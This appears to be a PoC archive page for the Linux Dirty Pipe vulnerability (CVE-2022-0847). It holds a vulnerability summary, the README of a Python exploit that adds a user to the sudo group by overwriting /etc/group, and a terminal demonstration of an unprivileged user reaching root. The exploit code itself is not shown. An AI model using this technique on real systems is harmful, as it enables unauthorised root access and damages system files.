Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-0847 PoC — Linux kernel 安全漏洞

Source
Associated Vulnerability
Title:Linux kernel 安全漏洞 (CVE-2022-0847)
Description:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 存在安全漏洞,该漏洞源于新管道缓冲区结构的“flag”变量在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化。非特权本地用户利用该漏洞可以提升权限至root。以下产品和版本受到影响:Linux Kernel 5.8-5.16.11、5.8-5.15.25、5.8-5.10.102。
Description
POC Exploit to add user to Sudo for CVE-2022-0847 Dirty Pipe Vulnerability
Readme
# POC Exploit to add user to Sudo for CVE-2022-0847 Dirty Pipe Vulnerability

This repo is based of the Vulnerability, Writeup and Exploit produced by Max Kellermann all found [here](https://dirtypipe.cm4all.com/).

Just like everyone I had to take advantage of playing with the worlds most trivial to repro Priv Esc the blog post does a great job of explaining it all.

I translated the exploit into python simply to get a better feel for it, but this is an exact copy of the C exploit with the Sudo Priv esc hardcoded in.

## Requires
Python 3.10 (due to use of os.splice call)

## Bad bits
Corrupts the /etc/group file by writing into the line directly following the sudo entry. But when you are root you can fix this using the copy.

Places a copy of /etc/group at /tmp/group_backup

### Demonstation

```sh
test@kali:/home/user/working$ whoami
test
test@kali:/home/user/working$ sudo whoami
test is not in the sudoers file.  This incident will be reported.
test@kali:/home/user/working$ python3.10 poc.py
[*] Dirty PIPE POC [*]
[*] Exploit will add test to sudoers
[*] Finding offset of sudo entry in /etc/group
[*] Found sudo group offset
[*] Confirmed it is not last.
[*] Opening /etc/group
[*] Opening PIPE
[*] Contaminating flags of pipe buffer
[*] 65536 bytes written to pipe
[*] 65536 bytes read from pipe
[*] Splicing byte from /etc/group to pipe
[*] Spliced 1 bytes
[*] Altering group to add test
[*] 6 bytes written to /etc/group
test@kali:/home/user/working$ su test
Password:
test@kali:/home/user/working$ sudo whoami
root
test@kali:/home/user/working$
```
File Snapshot

[4.0K] /data/pocs/5b312f4d45a0f8a0db4a66292216c247fb3ef94b ├── [2.9K] poc.py └── [1.5K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.